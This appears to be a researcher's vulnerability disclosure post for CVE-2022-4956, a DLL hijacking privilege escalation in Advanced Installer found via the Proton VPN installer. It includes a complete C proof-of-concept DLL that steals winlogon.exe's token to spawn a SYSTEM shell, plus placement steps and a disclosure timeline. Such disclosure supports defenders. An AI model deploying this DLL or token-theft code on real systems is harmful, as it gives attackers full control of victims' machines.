Home CVE-2022-4956: Advaned Installer Local Privilege Escalation Vulnerability
Post
Cancel

CVE-2022-4956: Advaned Installer Local Privilege Escalation Vulnerability

0x01: Details

  • Title: Advanced Installer Local Privilege Escalation Vulnerability
  • CVE ID: CVE-2022-4956
  • Advisory Published: 2022/08/01
  • Advisory URL: https://www.advancedinstaller.com/release-19.7.1.html#bugfixes
  • Vendor URL : https://www.advancedinstaller.com

0x02: Test Environment

  • OS : Windows 10 Pro 64 bit 21H2 (build 19044.1826)
  • Advanced Installer: 19.7
  • Proton VPN: 2.0.0

0x03: Vulnerability details

A vulnerability existed in the Advanced Installer that loaded GdiPlus.dll, one of the WinSxS DLLs.

0x04: Technical description

I found this vulnerability through Proton VPN, so I will describe it as Proton VPN.

The Proton VPN installer runs with Administrator privileges and loads GdiPlus.dll from %INSTALLER_LOCATION%\ProtonVPN_win_v2.0.0.exe.Local\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.1706_none_d94bc52be10975a7. If the ProtonVPN_win_v2.0.0.exe.Local directory does not exist, load the dll from C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.1706_none_d94bc52be10975a7. At this time, the ProtonVPN_win_v2.0.0.exe.Local directory can be accessed by general users, so the attacker can load GdiPlus.dll with Administrator privileges and elevate it to SYSTEM privileges through a dll hijacking attack.

I discovered this vulnerability through Process Monitor.

Untitled

0x05: Proof-of-Concept (PoC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include <stdio.h>
#include <windows.h>
#include <Psapi.h>
#include <Tlhelp32.h>
#include <sddl.h>

#pragma comment (lib,"advapi32.lib")

int exploit() {
	DWORD lpidProcess[2048], lpcbNeeded, cProcesses;
	EnumProcesses(lpidProcess, sizeof(lpidProcess), &lpcbNeeded);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	PROCESSENTRY32 p32;
	p32.dwSize = sizeof(PROCESSENTRY32);

	int processWinlogonPid;

	if (Process32First(hSnapshot, &p32)) {
		do {
			if (wcscmp(p32.szExeFile, L"winlogon.exe") == 0) {
				printf("[+] Located winlogon.exe by process name (PID %d)\n", p32.th32ProcessID);
				processWinlogonPid = p32.th32ProcessID;
				break;
			}
		} while (Process32Next(hSnapshot, &p32));

		CloseHandle(hSnapshot);
	}

	LUID luid;
	HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());

	if (currentProc) {
		HANDLE TokenHandle = NULL;
		BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle);
		if (hProcessToken) {
			BOOL checkToken = LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid);

			if (!checkToken) {
				printf("[+] Current process token already includes SeDebugPrivilege\n");
			}
			else {
				TOKEN_PRIVILEGES tokenPrivs;

				tokenPrivs.PrivilegeCount = 1;
				tokenPrivs.Privileges[0].Luid = luid;
				tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

				BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);

				if (adjustToken != 0) {
					printf("[+] Added SeDebugPrivilege to the current process token\n");
				}
			}
			CloseHandle(TokenHandle);
		}
	}
	CloseHandle(currentProc);

	HANDLE hProcess = NULL;
	HANDLE TokenHandle = NULL;
	HANDLE NewToken = NULL;
	BOOL OpenToken;
	BOOL Impersonate;
	BOOL Duplicate;

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processWinlogonPid);

	if (!hProcess) {
		printf("[-] Failed to obtain a HANDLE to the target PID\n");
		return -1;
	}

	printf("[+] Obtained a HANDLE to the target PID\n");

	OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);

	if (!OpenToken) {
		printf("[-] Failed to obtain a HANDLE to the target TOKEN %d\n", GetLastError());
	}

	printf("[+] Obtained a HANDLE to the target TOKEN\n");

	Impersonate = ImpersonateLoggedOnUser(TokenHandle);

	if (!Impersonate) {
		printf("[-] Failed to impersonate the TOKEN's user\n");
		return -1;
	}

	printf("[+] Impersonated the TOKEN's user\n");

	Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken);

	if (!Duplicate) {
		printf("[-] Failed to duplicate the target TOKEN\n");
		return -1;
	}

	printf("[+] Duplicated the target TOKEN\n");

	BOOL NewProcess;

	STARTUPINFO lpStartupInfo = { 0 };
	PROCESS_INFORMATION lpProcessInformation = { 0 };

	lpStartupInfo.cb = sizeof(lpStartupInfo);

	NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation);

	if (!NewProcess) {
		printf("[-] Failed to create a SYSTEM process\n");
		return -1;
	}

	printf("[+] Created a SYSTEM process\n");

	CloseHandle(NewToken);
	CloseHandle(hProcess);
	CloseHandle(TokenHandle);

	return 0;
}

BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH: {
						exploit();
            break;
        }

        case DLL_THREAD_ATTACH: {
            break;
        }

        case DLL_THREAD_DETACH: {
            break;
        }

        case DLL_PROCESS_DETACH: {
            break;
        }
    }
    return TRUE;
}
  • After compiling the above code in x86 mode, place it as %INSTALLER_LOCATION%\%INSTALLER%.Local\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.1706_none_d94bc52be10975a7\GdiPlus.dll.

0x06: Affected Products

This vulnerability affects the following product:

  • Advanced Installer <= 19.7
  • Proton VPN for Windows <= 2.0.0

0x07: TimeLine

  • 2022/06/12 : First time contacted via email from Proton VPN(security@protonmail.com).
  • 2022/07/20 : Proton VPN said this was an Advanced Installer vulnerability and asked the Advanced Installer if they could share the POC.
  • 2022/08/01 : Received confirmation that a patch is being released (v19.7.1). Advanced Installer gave me the Advanced Installer Architect license key as a token of appreciation.
  • 2023/09/23 : I applied for a CVE to VulDB.
  • 2023/09/29 : I received a message from VulDB informing me that a CVE(CVE-2022-4956) has been issued.

0x08: Reference

This post is licensed under CC BY 4.0 by the author.

CVE-2022-24924: Improper access control vulnerability in LiveWallpaperService

CVE-2022-39846: DLL hijacking vulnerability in Smart Switch PC